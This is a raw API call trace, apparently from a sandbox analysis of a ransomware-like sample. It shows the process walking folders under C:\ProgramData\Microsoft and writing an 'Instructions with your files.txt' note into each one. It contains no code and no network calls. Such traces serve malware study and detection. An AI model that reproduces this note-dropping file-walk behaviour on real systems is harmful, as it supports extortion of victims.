[0122.608] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xecb35800, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xecb35800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8ef97740, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x85000, dwReserved0=0x0, dwReserved1=0x0, cFileName="RacDatabase.sdf", cAlternateFileName="RACDAT~1.SDF")) returned 1
[0122.608] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\RAC\\StateData\\RacDatabase.sdf") returned 58
[0122.608] StrStrIW (lpFirst="RacDatabase.sdf", lpSrch="SDfghjkl") returned 0x0
[0122.608] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4e1e72ec, ftCreationTime.dwHighDateTime=0x1cb8927, ftLastAccessTime.dwLowDateTime=0x4e1e72ec, ftLastAccessTime.dwHighDateTime=0x1cb8927, ftLastWriteTime.dwLowDateTime=0x8efbd8a0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x8, dwReserved0=0x0, dwReserved1=0x0, cFileName="RacMetaData.dat", cAlternateFileName="RACMET~1.DAT")) returned 1
[0122.608] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\RAC\\StateData\\RacMetaData.dat") returned 58
[0122.608] StrStrIW (lpFirst="RacMetaData.dat", lpSrch="SDfghjkl") returned 0x0
[0122.608] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8ef715e0, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0x8ef715e0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x8ef715e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x401c, dwReserved0=0x0, dwReserved1=0x0, cFileName="RacWmiDataBookmarks.dat", cAlternateFileName="RACWMI~2.DAT")) returned 1
[0122.608] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\RAC\\StateData\\RacWmiDataBookmarks.dat") returned 66
[0122.608] StrStrIW (lpFirst="RacWmiDataBookmarks.dat", lpSrch="SDfghjkl") returned 0x0
[0122.608] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8ef4b480, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0x8ef4b480, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x8ef715e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x801c, dwReserved0=0x0, dwReserved1=0x0, cFileName="RacWmiEventData.dat", cAlternateFileName="RACWMI~1.DAT")) returned 1
[0122.608] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\RAC\\StateData\\RacWmiEventData.dat") returned 62
[0122.608] StrStrIW (lpFirst="RacWmiEventData.dat", lpSrch="SDfghjkl") returned 0x0
[0122.608] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8ef4b480, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0x8ef4b480, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x8ef715e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x801c, dwReserved0=0x0, dwReserved1=0x0, cFileName="RacWmiEventData.dat", cAlternateFileName="RACWMI~1.DAT")) returned 0
[0122.608] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\RAC\\StateData\\Instructions with your files.txt") returned 75
[0122.608] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\RAC\\StateData\\Instructions with your files.txt" (normalized: "c:\\programdata\\microsoft\\rac\\statedata\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
[0122.609] WriteFile (in: hFile=0x110, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cee94*=0x54, lpOverlapped=0x0) returned 1
[0122.609] WriteFile (in: hFile=0x110, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cee94*=0x18, lpOverlapped=0x0) returned 1
[0122.610] WriteFile (in: hFile=0x110, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cee94*=0xc, lpOverlapped=0x0) returned 1
[0122.610] WriteFile (in: hFile=0x110, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cee94*=0x16, lpOverlapped=0x0) returned 1
[0122.610] WriteFile (in: hFile=0x110, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cee94*=0x23, lpOverlapped=0x0) returned 1
[0122.610] CloseHandle (hObject=0x110) returned 1
[0122.610] FindClose (in: hFindFile=0x876c78 | out: hFindFile=0x876c78) returned 1
[0122.610] GetProcessHeap () returned 0x810000
[0122.610] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x878be8 | out: hHeap=0x810000) returned 1
[0122.610] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7b5e83f0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x7b5e83f0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 1
[0122.610] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\RAC\\Temp") returned 37
[0122.610] GetProcessHeap () returned 0x810000
[0122.610] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x878be8
[0122.610] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\RAC\\Temp\\*") returned 39
[0122.610] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\RAC\\Temp\\*", lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7b5e83f0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x7b5e83f0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876c78
[0122.610] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\RAC\\Temp\\.") returned 39
[0122.610] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7b5e83f0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x7b5e83f0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0122.611] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\RAC\\Temp\\..") returned 40
[0122.611] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7b5e83f0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x7b5e83f0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
[0122.611] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\RAC\\Temp\\Instructions with your files.txt") returned 70
[0122.611] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\RAC\\Temp\\Instructions with your files.txt" (normalized: "c:\\programdata\\microsoft\\rac\\temp\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
[0122.611] WriteFile (in: hFile=0x110, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cee94*=0x54, lpOverlapped=0x0) returned 1
[0122.612] WriteFile (in: hFile=0x110, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cee94*=0x18, lpOverlapped=0x0) returned 1
[0122.612] WriteFile (in: hFile=0x110, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cee94*=0xc, lpOverlapped=0x0) returned 1
[0122.612] WriteFile (in: hFile=0x110, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cee94*=0x16, lpOverlapped=0x0) returned 1
[0122.612] WriteFile (in: hFile=0x110, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cee94*=0x23, lpOverlapped=0x0) returned 1
[0122.613] CloseHandle (hObject=0x110) returned 1
[0122.613] FindClose (in: hFindFile=0x876c78 | out: hFindFile=0x876c78) returned 1
[0122.613] GetProcessHeap () returned 0x810000
[0122.613] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x878be8 | out: hHeap=0x810000) returned 1
[0122.613] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7b5e83f0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x7b5e83f0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 0
[0122.613] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\RAC\\Instructions with your files.txt") returned 65
[0122.613] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\RAC\\Instructions with your files.txt" (normalized: "c:\\programdata\\microsoft\\rac\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0123.054] WriteFile (in: hFile=0x10c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf124*=0x54, lpOverlapped=0x0) returned 1
[0123.178] WriteFile (in: hFile=0x10c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf124*=0x18, lpOverlapped=0x0) returned 1
[0123.178] WriteFile (in: hFile=0x10c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf124*=0xc, lpOverlapped=0x0) returned 1
[0123.179] WriteFile (in: hFile=0x10c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf124*=0x16, lpOverlapped=0x0) returned 1
[0123.179] WriteFile (in: hFile=0x10c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf124*=0x23, lpOverlapped=0x0) returned 1
[0123.179] CloseHandle (hObject=0x10c) returned 1
[0123.179] FindClose (in: hFindFile=0x876c38 | out: hFindFile=0x876c38) returned 1
[0123.179] GetProcessHeap () returned 0x810000
[0123.179] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x866bd8 | out: hHeap=0x810000) returned 1
[0123.179] FindNextFileW (in: hFindFile=0x876bf8, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27df8b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27df8b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27df8b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Search", cAlternateFileName="")) returned 1
[0123.179] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Search") returned 35
[0123.179] GetProcessHeap () returned 0x810000
[0123.179] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x866bd8
[0123.179] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\*") returned 37
[0123.179] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\*", lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27df8b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27df8b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27df8b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876c38
[0123.257] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\.") returned 37
[0123.257] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27df8b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27df8b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27df8b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0123.257] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\..") returned 38
[0123.257] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27df8b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27e6af80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27e6af80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Data", cAlternateFileName="")) returned 1
[0123.257] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data") returned 40
[0123.260] GetProcessHeap () returned 0x810000
[0123.261] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x878be8
[0123.261] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\*") returned 42
[0123.261] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\*", lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27df8b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27e6af80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27e6af80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876c78
[0123.261] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\.") returned 42
[0123.261] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27df8b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27e6af80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27e6af80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0123.261] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\..") returned 43
[0123.261] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e6af80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27e6af80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27e6af80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Applications", cAlternateFileName="APPLIC~1")) returned 1
[0123.261] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications") returned 53
[0123.261] GetProcessHeap () returned 0x810000
[0123.261] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x889bf8
[0123.261] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\*") returned 55
[0123.261] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\*", lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e6af80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27e6af80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27e6af80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cb8
[0123.267] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\.") returned 55
[0123.267] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e6af80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27e6af80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27e6af80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0123.267] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\..") returned 56
[0123.267] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e6af80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29612a20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29612a20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1
[0123.267] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e6af80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29612a20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29612a20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 0
[0123.267] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Instructions with your files.txt") returned 86
[0123.268] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Instructions with your files.txt" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
[0123.655] WriteFile (in: hFile=0x114, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cec04*=0x54, lpOverlapped=0x0) returned 1
[0123.662] WriteFile (in: hFile=0x114, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cec04*=0x18, lpOverlapped=0x0) returned 1
[0123.662] WriteFile (in: hFile=0x114, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cec04*=0xc, lpOverlapped=0x0) returned 1
[0123.663] WriteFile (in: hFile=0x114, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cec04*=0x16, lpOverlapped=0x0) returned 1
[0123.663] WriteFile (in: hFile=0x114, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cec04*=0x23, lpOverlapped=0x0) returned 1
[0123.663] CloseHandle (hObject=0x114) returned 1
[0123.663] FindClose (in: hFindFile=0x876cb8 | out: hFindFile=0x876cb8) returned 1
[0123.663] GetProcessHeap () returned 0x810000
[0123.663] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x889bf8 | out: hHeap=0x810000) returned 1
[0123.663] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e1ecc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27e1ecc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27e1ecc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 1
[0123.663] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Temp") returned 45
[0123.663] GetProcessHeap () returned 0x810000
[0123.663] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x889bf8
[0123.663] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Temp\\*") returned 47
